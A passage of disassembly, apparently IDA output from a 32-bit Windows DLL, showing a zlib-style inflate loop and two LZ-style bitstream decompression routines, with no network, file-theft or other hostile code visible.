		mov	[edx+30h], eax


loc_10006619:				; CODE XREF: sub_100065AC+58j
		push	ebx
		push	edi
		mov	ecx, [esp+20h+var_10]
		push	ecx
		call	sub_10003DD0
		add	esp, 0Ch
		mov	eax, ebx
		add	[esp+18h+var_10], eax
		add	edi, eax
		mov	eax, [esi+2Ch]
		cmp	edi, eax
		jnz	short loc_100066A2
		mov	edx, [esi+28h]
		cmp	eax, [esi+34h]
		mov	edi, edx
		jnz	short loc_10006644
		mov	[esi+34h], edx


loc_10006644:				; CODE XREF: sub_100065AC+93j
		mov	eax, [esp+18h+var_18]
		mov	ebx, [esi+34h]
		sub	ebx, edi
		mov	eax, [eax+10h]
		cmp	ebx, eax
		jbe	short loc_10006655
		mov	ebx, eax


loc_10006655:				; CODE XREF: sub_100065AC+A5j
		test	ebx, ebx
		jz	short loc_10006666
		cmp	[esp+18h+var_14], 0FFFFFFFBh
		jnz	short loc_10006666
		xor	eax, eax
		mov	[esp+18h+var_14], eax


loc_10006666:				; CODE XREF: sub_100065AC+ABj
					; sub_100065AC+B2j
		mov	edx, [esp+18h+var_18]
		sub	[edx+10h], ebx
		mov	ecx, [esp+18h+var_18]
		add	[ecx+14h], ebx
		cmp	dword ptr [esi+38h], 0
		jz	short loc_1000668B
		mov	ecx, ebx
		mov	edx, edi
		mov	eax, [esi+3Ch]
		call	dword ptr [esi+38h]
		mov	[esi+3Ch], eax
		mov	edx, [esp+18h+var_18]
		mov	[edx+30h], eax


loc_1000668B:				; CODE XREF: sub_100065AC+CAj
		push	ebx
		push	edi
		mov	ecx, [esp+20h+var_10]
		push	ecx
		call	sub_10003DD0
		add	esp, 0Ch
		mov	eax, ebx
		add	[esp+18h+var_10], eax
		add	edi, eax


loc_100066A2:				; CODE XREF: sub_100065AC+89j
		mov	edx, [esp+18h+var_18]
		mov	ecx, [esp+18h+var_10]
		mov	[edx+0Ch], ecx
		mov	[esi+30h], edi
		mov	eax, [esp+18h+var_14]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100065AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100066BC	proc near		; CODE XREF: sub_10005CF0+D7p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	edx, [ebp+arg_0]
		mov	esi, [edx]
		mov	edx, [ebp+arg_0]
		mov	ecx, [edx+4]
		mov	[ebp+var_14], ecx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_4]
		mov	ebx, [ecx+1Ch]
		mov	ecx, [ebp+arg_4]
		mov	edx, [edx+20h]
		mov	ecx, [ecx+34h]
		mov	[ebp+var_18], ecx
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+30h]
		cmp	ecx, [ebp+var_18]
		jbe	short loc_10006705
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+30h]
		sub	ecx, [ebp+var_18]
		dec	ecx
		jmp	short loc_1000670E
; ---------------------------------------------------------------------------


loc_10006705:				; CODE XREF: sub_100066BC+3Bj
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+2Ch]
		sub	ecx, [ebp+var_18]


loc_1000670E:				; CODE XREF: sub_100066BC+47j
		mov	[ebp+var_1C], ecx
		mov	eax, ds:dword_10009A0C[eax*4]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_4]
		mov	ecx, ds:dword_10009A0C[eax*4]
		mov	[ebp+var_24], ecx


loc_10006728:				; CODE XREF: sub_100066BC+408j
		cmp	ebx, 14h
		jnb	short loc_10006746


loc_1000672D:				; CODE XREF: sub_100066BC+88j
		dec	[ebp+var_14]
		mov	ecx, ebx
		mov	al, [esi]
		inc	esi
		and	eax, 0FFh
		add	ebx, 8
		shl	eax, cl
		or	edx, eax
		cmp	ebx, 14h
		jb	short loc_1000672D


loc_10006746:				; CODE XREF: sub_100066BC+6Fj
		mov	ecx, [ebp+var_20]
		and	ecx, edx
		shl	ecx, 3
		add	ecx, [ebp+var_8]
		mov	[ebp+var_C], ecx
		xor	eax, eax
		mov	al, [ecx]
		mov	[ebp+var_10], eax
		test	eax, eax
		jnz	short loc_10006786
		mov	ecx, [ebp+var_C]
		mov	al, [ecx+1]
		mov	ecx, eax
		and	eax, 0FFh
		shr	edx, cl
		mov	ecx, [ebp+var_C]
		sub	ebx, eax
		mov	al, [ecx+4]
		mov	ecx, [ebp+var_18]
		mov	[ecx], al
		inc	[ebp+var_18]
		dec	[ebp+var_1C]
		jmp	loc_10006AB7
; ---------------------------------------------------------------------------


loc_10006786:				; CODE XREF: sub_100066BC+A1j
					; sub_100066BC+2FFj
		mov	eax, [ebp+var_C]
		mov	al, [eax+1]
		mov	ecx, eax
		and	eax, 0FFh
		shr	edx, cl
		sub	ebx, eax
		test	byte ptr [ebp+var_10], 10h
		jz	loc_1000698B
		and	[ebp+var_10], 0Fh
		mov	ecx, [ebp+var_C]
		sub	ebx, [ebp+var_10]
		mov	eax, [ecx+4]
		mov	ecx, [ebp+var_10]
		mov	ecx, ds:dword_10009A0C[ecx*4]
		and	ecx, edx
		add	eax, ecx
		mov	ecx, [ebp+var_10]
		shr	edx, cl
		cmp	ebx, 0Fh
		jnb	short loc_100067E2


loc_100067C6:				; CODE XREF: sub_100066BC+124j
		dec	[ebp+var_14]
		mov	cl, [esi]
		inc	esi
		mov	edi, ecx
		mov	ecx, ebx
		and	edi, 0FFh
		add	ebx, 8
		shl	edi, cl
		or	edx, edi
		cmp	ebx, 0Fh
		jb	short loc_100067C6


loc_100067E2:				; CODE XREF: sub_100066BC+108j
		mov	ecx, [ebp+var_24]
		and	ecx, edx
		shl	ecx, 3
		add	ecx, [ebp+arg_8]
		mov	[ebp+var_C], ecx
		movzx	ecx, byte ptr [ecx]
		mov	[ebp+var_10], ecx


loc_100067F6:				; CODE XREF: sub_100066BC+25Fj
		mov	ecx, [ebp+var_C]
		mov	cl, [ecx+1]
		shr	edx, cl
		mov	ecx, [ebp+var_C]
		movzx	ecx, byte ptr [ecx+1]
		sub	ebx, ecx
		test	byte ptr [ebp+var_10], 10h
		jz	loc_100068EE
		and	[ebp+var_10], 0Fh
		cmp	ebx, [ebp+var_10]
		jnb	short loc_10006836


loc_1000681A:				; CODE XREF: sub_100066BC+178j
		dec	[ebp+var_14]
		mov	cl, [esi]
		inc	esi
		mov	edi, ecx
		mov	ecx, ebx
		and	edi, 0FFh
		add	ebx, 8
		shl	edi, cl
		or	edx, edi
		cmp	ebx, [ebp+var_10]
		jb	short loc_1000681A


loc_10006836:				; CODE XREF: sub_100066BC+15Cj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		mov	edi, ds:dword_10009A0C[edi*4]
		mov	ecx, [ecx+4]
		and	edi, edx
		add	ecx, edi
		mov	[ebp+var_28], ecx
		sub	ebx, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		shr	edx, cl
		sub	[ebp+var_1C], eax
		mov	ecx, [ebp+arg_4]
		mov	edi, [ebp+var_18]
		sub	edi, [ecx+28h]
		cmp	edi, [ebp+var_28]
		jb	short loc_10006893
		mov	ecx, [ebp+var_18]
		dec	eax
		sub	ecx, [ebp+var_28]
		mov	[ebp+var_2C], ecx
		mov	ecx, [ebp+var_2C]
		mov	edi, [ebp+var_18]
		mov	cl, [ecx]
		mov	[edi], cl
		inc	[ebp+var_2C]
		inc	[ebp+var_18]
		mov	ecx, [ebp+var_2C]
		mov	edi, [ebp+var_18]
		mov	cl, [ecx]
		mov	[edi], cl
		inc	[ebp+var_2C]
		inc	[ebp+var_18]
		dec	eax
		jmp	short loc_100068D6
; ---------------------------------------------------------------------------


loc_10006893:				; CODE XREF: sub_100066BC+1A8j
		mov	ecx, [ebp+arg_4]
		mov	edi, [ebp+var_18]
		sub	edi, [ecx+28h]
		mov	ecx, [ebp+var_28]
		sub	ecx, edi
		mov	[ebp+var_10], ecx
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+2Ch]
		sub	ecx, [ebp+var_10]
		mov	[ebp+var_2C], ecx
		cmp	eax, [ebp+var_10]
		jbe	short loc_100068D6
		sub	eax, [ebp+var_10]


loc_100068B8:				; CODE XREF: sub_100066BC+20Fj
		mov	ecx, [ebp+var_2C]
		mov	edi, [ebp+var_18]
		mov	cl, [ecx]
		mov	[edi], cl
		inc	[ebp+var_2C]
		inc	[ebp+var_18]
		dec	[ebp+var_10]
		jnz	short loc_100068B8
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+28h]
		mov	[ebp+var_2C], ecx


loc_100068D6:				; CODE XREF: sub_100066BC+1D5j
					; sub_100066BC+1F7j ...
		mov	ecx, [ebp+var_2C]
		mov	edi, [ebp+var_18]
		mov	cl, [ecx]
		mov	[edi], cl
		inc	[ebp+var_2C]
		inc	[ebp+var_18]
		dec	eax
		jnz	short loc_100068D6
		jmp	loc_10006AB7
; ---------------------------------------------------------------------------


loc_100068EE:				; CODE XREF: sub_100066BC+14Fj
		test	byte ptr [ebp+var_10], 40h
		jnz	short loc_10006920
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		shl	ecx, 3
		add	[ebp+var_C], ecx
		mov	ecx, [ebp+var_10]
		mov	ecx, ds:dword_10009A0C[ecx*4]
		and	ecx, edx
		shl	ecx, 3
		add	[ebp+var_C], ecx
		mov	ecx, [ebp+var_C]
		movzx	ecx, byte ptr [ecx]
		mov	[ebp+var_10], ecx
		jmp	loc_100067F6
; ---------------------------------------------------------------------------


loc_10006920:				; CODE XREF: sub_100066BC+236j
		mov	eax, [ebp+arg_0]
		mov	ecx, ebx
		shr	ecx, 3
		mov	dword ptr [eax+18h], offset aInvalidDista_0 ; "invalid distance	code"
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		sub	eax, [ebp+var_14]
		cmp	eax, ecx
		jbe	short loc_10006943
		mov	ecx, ebx
		shr	ecx, 3
		jmp	short loc_10006945
; ---------------------------------------------------------------------------


loc_10006943:				; CODE XREF: sub_100066BC+27Ej
		mov	ecx, eax


loc_10006945:				; CODE XREF: sub_100066BC+285j
		mov	eax, ecx
		add	[ebp+var_14], eax
		sub	esi, eax
		shl	eax, 3
		sub	ebx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+20h], edx
		mov	edx, [ebp+arg_4]
		mov	[edx+1Ch], ebx
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[eax+4], edx
		mov	eax, esi
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		sub	eax, [ecx]
		add	[edx+8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx], esi
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_18]
		mov	[eax+34h], edx
		mov	eax, 0FFFFFFFDh
		jmp	loc_10006B23
; ---------------------------------------------------------------------------


loc_1000698B:				; CODE XREF: sub_100066BC+DFj
		test	byte ptr [ebp+var_10], 40h
		jnz	short loc_100069E8
		mov	ecx, [ebp+var_C]
		mov	eax, [ecx+4]
		shl	eax, 3
		add	[ebp+var_C], eax
		mov	ecx, [ebp+var_10]
		mov	eax, ds:dword_10009A0C[ecx*4]
		and	eax, edx
		shl	eax, 3
		add	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		xor	eax, eax
		mov	al, [ecx]
		mov	[ebp+var_10], eax
		test	eax, eax
		jnz	loc_10006786
		mov	ecx, [ebp+var_C]
		mov	al, [ecx+1]
		mov	ecx, eax
		and	eax, 0FFh
		shr	edx, cl
		mov	ecx, [ebp+var_C]
		sub	ebx, eax
		mov	al, [ecx+4]
		mov	ecx, [ebp+var_18]
		mov	[ecx], al
		inc	[ebp+var_18]
		dec	[ebp+var_1C]
		jmp	loc_10006AB7
; ---------------------------------------------------------------------------


loc_100069E8:				; CODE XREF: sub_100066BC+2D3j
		test	byte ptr [ebp+var_10], 20h
		jz	short loc_10006A4F
		mov	eax, [ebp+arg_0]
		mov	ecx, ebx
		shr	ecx, 3
		mov	eax, [eax+4]
		sub	eax, [ebp+var_14]
		cmp	eax, ecx
		jbe	short loc_10006A07
		mov	ecx, ebx
		shr	ecx, 3
		jmp	short loc_10006A09
; ---------------------------------------------------------------------------


loc_10006A07:				; CODE XREF: sub_100066BC+342j
		mov	ecx, eax


loc_10006A09:				; CODE XREF: sub_100066BC+349j
		mov	eax, ecx
		add	[ebp+var_14], eax
		sub	esi, eax
		shl	eax, 3
		sub	ebx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+20h], edx
		mov	edx, [ebp+arg_4]
		mov	[edx+1Ch], ebx
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[eax+4], edx
		mov	eax, esi
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		sub	eax, [ecx]
		add	[edx+8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx], esi
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_18]
		mov	[eax+34h], edx
		mov	eax, 1
		jmp	loc_10006B23
; ---------------------------------------------------------------------------


loc_10006A4F:				; CODE XREF: sub_100066BC+330j
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+18h], offset aInvalidLiter_0 ; "invalid literal/length code"
		mov	eax, [ebp+arg_0]
		mov	ecx, ebx
		shr	ecx, 3
		mov	eax, [eax+4]
		sub	eax, [ebp+var_14]
		cmp	eax, ecx
		jbe	short loc_10006A72
		mov	ecx, ebx
		shr	ecx, 3
		jmp	short loc_10006A74
; ---------------------------------------------------------------------------


loc_10006A72:				; CODE XREF: sub_100066BC+3ADj
		mov	ecx, eax


loc_10006A74:				; CODE XREF: sub_100066BC+3B4j
		mov	eax, ecx
		add	[ebp+var_14], eax
		sub	esi, eax
		shl	eax, 3
		sub	ebx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+20h], edx
		mov	edx, [ebp+arg_4]
		mov	[edx+1Ch], ebx
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[eax+4], edx
		mov	eax, esi
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		sub	eax, [ecx]
		add	[edx+8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx], esi
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_18]
		mov	[eax+34h], edx
		mov	eax, 0FFFFFFFDh
		jmp	short loc_10006B23
; ---------------------------------------------------------------------------


loc_10006AB7:				; CODE XREF: sub_100066BC+C5j
					; sub_100066BC+22Dj ...
		cmp	[ebp+var_1C], 102h
		jb	short loc_10006ACA
		cmp	[ebp+var_14], 0Ah
		jnb	loc_10006728


loc_10006ACA:				; CODE XREF: sub_100066BC+402j
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+4]
		mov	ecx, ebx
		shr	ecx, 3
		sub	eax, [ebp+var_14]
		cmp	eax, ecx
		jbe	short loc_10006AE3
		mov	ecx, ebx
		shr	ecx, 3
		jmp	short loc_10006AE5
; ---------------------------------------------------------------------------


loc_10006AE3:				; CODE XREF: sub_100066BC+41Ej
		mov	ecx, eax


loc_10006AE5:				; CODE XREF: sub_100066BC+425j
		mov	eax, ecx
		add	[ebp+var_14], eax
		sub	esi, eax
		shl	eax, 3
		sub	ebx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+20h], edx
		mov	edx, [ebp+arg_4]
		mov	[edx+1Ch], ebx
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[eax+4], edx
		mov	eax, esi
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		sub	eax, [ecx]
		add	[edx+8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx], esi
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_18]
		mov	[eax+34h], edx
		xor	eax, eax


loc_10006B23:				; CODE XREF: sub_100066BC+2CAj
					; sub_100066BC+38Ej ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_100066BC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_10006B51
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000A670
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10006B58


loc_10006B50:				; CODE XREF: CODE:10006B56j
		retn
; ---------------------------------------------------------------------------


loc_10006B51:				; DATA XREF: CODE:10006B32o
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_10006B50
; ---------------------------------------------------------------------------


loc_10006B58:				; CODE XREF: CODE:loc_10006B50j
					; DATA XREF: CODE:10006B4Bo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_1000A670, 1
		retn

; =============== S U B	R O U T	I N E =======================================



sub_10006B64	proc near		; CODE XREF: sub_100076B8+1Ep
		mov	edx, eax
		shr	edx, 3
		add	eax, edx
		add	eax, 100h
		retn
sub_10006B64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006B74	proc near		; CODE XREF: sub_100076B8+50p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		xor	ecx, ecx
		xor	esi, esi
		mov	[ebp+var_C], ecx
		lea	ecx, [ebp+arg_0]
		xor	edx, edx
		test	ecx, ecx
		mov	[ebp+var_10], 1


loc_10006B98:				; CODE XREF: sub_10006B74+1C0j
		mov	ecx, [ebp+var_8]
		mov	ebx, [ebp+var_C]
		add	ecx, ebx
		mov	[ebp+var_18], ecx
		lea	ecx, [eax+edx]
		jmp	short loc_10006BB7
; ---------------------------------------------------------------------------


loc_10006BA8:				; CODE XREF: sub_10006B74+64j
		mov	bl, [ecx]
		mov	edi, [ebp+var_18]
		mov	[edi], bl
		inc	edx
		inc	ecx
		inc	[ebp+var_C]
		inc	[ebp+var_18]


loc_10006BB7:				; CODE XREF: sub_10006B74+32j
		test	esi, 7Fh
		jz	short loc_10006BC5
		mov	ebx, esi
		add	ebx, ebx
		jmp	short loc_10006BD0
; ---------------------------------------------------------------------------


loc_10006BC5:				; CODE XREF: sub_10006B74+49j
		inc	ecx
		mov	ebx, edx
		inc	edx
		movzx	ebx, byte ptr [eax+ebx]
		add	ebx, ebx
		inc	ebx


loc_10006BD0:				; CODE XREF: sub_10006B74+4Fj
		mov	esi, ebx
		shr	ebx, 8
		test	bl, 1
		jnz	short loc_10006BA8
		mov	ecx, 1


loc_10006BDF:				; CODE XREF: sub_10006B74+B1j
		test	esi, 7Fh
		jz	short loc_10006BED
		mov	ebx, esi
		add	ebx, ebx
		jmp	short loc_10006BF7
; ---------------------------------------------------------------------------


loc_10006BED:				; CODE XREF: sub_10006B74+71j
		mov	ebx, edx
		inc	edx
		movzx	ebx, byte ptr [eax+ebx]
		add	ebx, ebx
		inc	ebx


loc_10006BF7:				; CODE XREF: sub_10006B74+77j
		mov	esi, ebx
		add	ecx, ecx
		shr	ebx, 8
		and	ebx, 1
		add	ebx, ecx
		test	esi, 7Fh
		mov	ecx, ebx
		jz	short loc_10006C13
		mov	ebx, esi
		add	ebx, ebx
		jmp	short loc_10006C1D
; ---------------------------------------------------------------------------


loc_10006C13:				; CODE XREF: sub_10006B74+97j
		mov	ebx, edx
		inc	edx
		movzx	ebx, byte ptr [eax+ebx]
		add	ebx, ebx
		inc	ebx


loc_10006C1D:				; CODE XREF: sub_10006B74+9Dj
		mov	esi, ebx
		shr	ebx, 8
		test	bl, 1
		jz	short loc_10006BDF
		cmp	ecx, 2
		jnz	short loc_10006C31
		mov	ecx, [ebp+var_10]
		jmp	short loc_10006C4C
; ---------------------------------------------------------------------------


loc_10006C31:				; CODE XREF: sub_10006B74+B6j
		sub	ecx, 3
		xor	ebx, ebx
		shl	ecx, 8
		mov	bl, [eax+edx]
		inc	edx
		add	ecx, ebx
		cmp	ecx, 0FFFFFFFFh
		jz	loc_10006D39
		inc	ecx
		mov	[ebp+var_10], ecx


loc_10006C4C:				; CODE XREF: sub_10006B74+BBj
		test	esi, 7Fh
		jz	short loc_10006C5A
		mov	ebx, esi
		add	ebx, ebx
		jmp	short loc_10006C64
; ---------------------------------------------------------------------------


loc_10006C5A:				; CODE XREF: sub_10006B74+DEj
		mov	ebx, edx
		inc	edx
		movzx	ebx, byte ptr [eax+ebx]
		add	ebx, ebx
		inc	ebx


loc_10006C64:				; CODE XREF: sub_10006B74+E4j
		mov	esi, ebx
		shr	ebx, 8
		and	ebx, 1
		test	esi, 7Fh
		mov	[ebp+var_14], ebx
		jz	short loc_10006C7D
		mov	ebx, esi
		add	ebx, ebx
		jmp	short loc_10006C87
; ---------------------------------------------------------------------------


loc_10006C7D:				; CODE XREF: sub_10006B74+101j
		mov	ebx, edx
		inc	edx
		movzx	ebx, byte ptr [eax+ebx]
		add	ebx, ebx
		inc	ebx


loc_10006C87:				; CODE XREF: sub_10006B74+107j
		mov	esi, ebx
		mov	edi, [ebp+var_14]
		shr	ebx, 8
		add	edi, edi
		and	ebx, 1
		add	ebx, edi
		mov	[ebp+var_14], ebx
		cmp	[ebp+var_14], 0
		jnz	short loc_10006CF2
		inc	[ebp+var_14]


loc_10006CA2:				; CODE XREF: sub_10006B74+178j
		test	esi, 7Fh
		jz	short loc_10006CB0
		mov	ebx, esi
		add	ebx, ebx
		jmp	short loc_10006CBA
; ---------------------------------------------------------------------------


loc_10006CB0:				; CODE XREF: sub_10006B74+134j
		mov	ebx, edx
		inc	edx
		movzx	ebx, byte ptr [eax+ebx]
		add	ebx, ebx
		inc	ebx


loc_10006CBA:				; CODE XREF: sub_10006B74+13Aj
		mov	esi, ebx
		mov	edi, [ebp+var_14]
		shr	ebx, 8
		add	edi, edi
		and	ebx, 1
		add	ebx, edi
		test	esi, 7Fh
		mov	[ebp+var_14], ebx
		jz	short loc_10006CDA
		mov	ebx, esi
		add	ebx, ebx
		jmp	short loc_10006CE4
; ---------------------------------------------------------------------------


loc_10006CDA:				; CODE XREF: sub_10006B74+15Ej
		mov	ebx, edx
		inc	edx
		movzx	ebx, byte ptr [eax+ebx]
		add	ebx, ebx
		inc	ebx


loc_10006CE4:				; CODE XREF: sub_10006B74+164j
		mov	esi, ebx
		shr	ebx, 8
		test	bl, 1
		jz	short loc_10006CA2
		add	[ebp+var_14], 2


loc_10006CF2:				; CODE XREF: sub_10006B74+129j
		cmp	ecx, 0D00h
		setnbe	bl
		and	ebx, 1
		add	[ebp+var_14], ebx
		mov	ebx, [ebp+var_8]
		mov	edi, [ebp+var_C]
		add	ebx, [ebp+var_C]
		sub	ebx, ecx
		mov	ecx, ebx
		mov	ebx, [ebp+var_8]
		add	ebx, edi
		push	ebx
		pop	edi
		mov	bl, [ecx]
		inc	ecx
		mov	[edi], bl
		inc	[ebp+var_C]


loc_10006D1D:				; CODE XREF: sub_10006B74+1BEj
		mov	ebx, [ebp+var_8]
		mov	edi, [ebp+var_C]
		add	ebx, edi
		push	ebx
		mov	bl, [ecx]
		pop	edi
		mov	[edi], bl
		inc	ecx
		inc	[ebp+var_C]
		dec	[ebp+var_14]
		jnz	short loc_10006D1D
		jmp	loc_10006B98
; ---------------------------------------------------------------------------


loc_10006D39:				; CODE XREF: sub_10006B74+CEj
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		cmp	edx, [ebp+var_4]
		jnz	short loc_10006D4A
		xor	eax, eax
		jmp	short loc_10006D5B
; ---------------------------------------------------------------------------


loc_10006D4A:				; CODE XREF: sub_10006B74+1D0j
		cmp	edx, [ebp+var_4]
		jnb	short loc_10006D56
		mov	eax, 0FFFFFF33h
		jmp	short loc_10006D5B
; ---------------------------------------------------------------------------


loc_10006D56:				; CODE XREF: sub_10006B74+1D9j
		mov	eax, 0FFFFFF37h


loc_10006D5B:				; CODE XREF: sub_10006B74+1D4j
					; sub_10006B74+1E0j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_10006B74	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-8], ecx
		mov	[ebp-4], edx
		xor	ecx, ecx
		xor	esi, esi
		mov	[ebp-0Ch], ecx
		lea	ecx, [ebp+8]
		xor	edx, edx
		test	ecx, ecx
		mov	dword ptr [ebp-10h], 1


loc_10006D88:				; CODE XREF: CODE:10006FC9j
		mov	ecx, [ebp-8]
		mov	ebx, [ebp-0Ch]
		add	ecx, ebx
		mov	[ebp-18h], ecx
		lea	ecx, [eax+edx-2]
		jmp	short loc_10006DA9
; ---------------------------------------------------------------------------


loc_10006D99:				; CODE XREF: CODE:10006DE1j
		mov	bl, [ecx+2]
		mov	edi, [ebp-18h]
		mov	[edi], bl
		inc	edx
		inc	ecx
		inc	dword ptr [ebp-0Ch]
		inc	dword ptr [ebp-18h]


loc_10006DA9:				; CODE XREF: CODE:10006D97j
		mov	ebx, esi
		add	ebx, ebx
		mov	esi, ebx
		test	esi, 0FFFFh
		jz	short loc_10006DC1
		mov	ebx, esi
		shr	ebx, 10h
		and	ebx, 1
		jmp	short loc_10006DDF
; ---------------------------------------------------------------------------


loc_10006DC1:				; CODE XREF: CODE:10006DB5j
		add	ecx, 2
		xor	ebx, ebx
		add	edx, 2
		movzx	esi, byte ptr [ecx]
		mov	bl, [ecx+1]
		shl	ebx, 8
		add	esi, ebx
		add	esi, esi
		inc	esi
		mov	ebx, esi
		shr	ebx, 10h
		and	ebx, 1


loc_10006DDF:				; CODE XREF: CODE:10006DBFj
		test	ebx, ebx
		jnz	short loc_10006D99
		mov	ecx, 1


loc_10006DE8:				; CODE XREF: CODE:10006E5Cj
		mov	ebx, esi
		add	ebx, ebx
		mov	esi, ebx
		test	esi, 0FFFFh
		jz	short loc_10006E00
		mov	ebx, esi
		shr	ebx, 10h
		and	ebx, 1
		jmp	short loc_10006E1E
; ---------------------------------------------------------------------------


loc_10006E00:				; CODE XREF: CODE:10006DF4j
		add	edx, 2
		xor	ebx, ebx
		movzx	esi, byte ptr [eax+edx-2]
		mov	bl, [eax+edx-1]
		shl	ebx, 8
		add	esi, ebx
		add	esi, esi
		inc	esi
		mov	ebx, esi
		shr	ebx, 10h
		and	ebx, 1


loc_10006E1E:				; CODE XREF: CODE:10006DFEj
		add	ecx, ecx
		add	ebx, ecx
		mov	ecx, ebx
		mov	ebx, esi
		add	ebx, ebx
		mov	esi, ebx
		test	esi, 0FFFFh
		jz	short loc_10006E3C
		mov	ebx, esi
		shr	ebx, 10h
		and	ebx, 1
		jmp	short loc_10006E5A
; ---------------------------------------------------------------------------


loc_10006E3C:				; CODE XREF: CODE:10006E30j
		add	edx, 2
		xor	ebx, ebx
		movzx	esi, byte ptr [eax+edx-2]
		mov	bl, [eax+edx-1]
		shl	ebx, 8
		add	esi, ebx
		add	esi, esi
		inc	esi
		mov	ebx, esi
		shr	ebx, 10h
		and	ebx, 1


loc_10006E5A:				; CODE XREF: CODE:10006E3Aj
		test	ebx, ebx
		jz	short loc_10006DE8
		cmp	ecx, 2
		jnz	short loc_10006E68
		mov	ecx, [ebp-10h]
		jmp	short loc_10006E83
; ---------------------------------------------------------------------------


loc_10006E68:				; CODE XREF: CODE:10006E61j
		sub	ecx, 3
		xor	ebx, ebx
		shl	ecx, 8
		mov	bl, [eax+edx]
		inc	edx
		add	ecx, ebx
		cmp	ecx, 0FFFFFFFFh
		jz	loc_10006FCE
		inc	ecx
		mov	[ebp-10h], ecx


loc_10006E83:				; CODE XREF: CODE:10006E66j
		mov	ebx, esi
		add	ebx, ebx
		mov	esi, ebx
		test	esi, 0FFFFh
		jz	short loc_10006E9B
		mov	ebx, esi
		shr	ebx, 10h
		and	ebx, 1
		jmp	short loc_10006EB9
; ---------------------------------------------------------------------------


loc_10006E9B:				; CODE XREF: CODE:10006E8Fj
		add	edx, 2
		xor	ebx, ebx
		movzx	esi, byte ptr [eax+edx-2]
		mov	bl, [eax+edx-1]
		shl	ebx, 8
		add	esi, ebx
		add	esi, esi
		inc	esi
		mov	ebx, esi
		shr	ebx, 10h
		and	ebx, 1


loc_10006EB9:				; CODE XREF: CODE:10006E99j
		mov	[ebp-14h], ebx
		mov	ebx, esi
		add	ebx, ebx
		mov	esi, ebx
		test	esi, 0FFFFh
		jz	short loc_10006ED4
		mov	ebx, esi
		shr	ebx, 10h
		and	ebx, 1
		jmp	short loc_10006EF2
; ---------------------------------------------------------------------------


loc_10006ED4:				; CODE XREF: CODE:10006EC8j
		add	edx, 2
		xor	ebx, ebx
		movzx	esi, byte ptr [eax+edx-2]
		mov	bl, [eax+edx-1]
		shl	ebx, 8
		add	esi, ebx
		add	esi, esi
		inc	esi
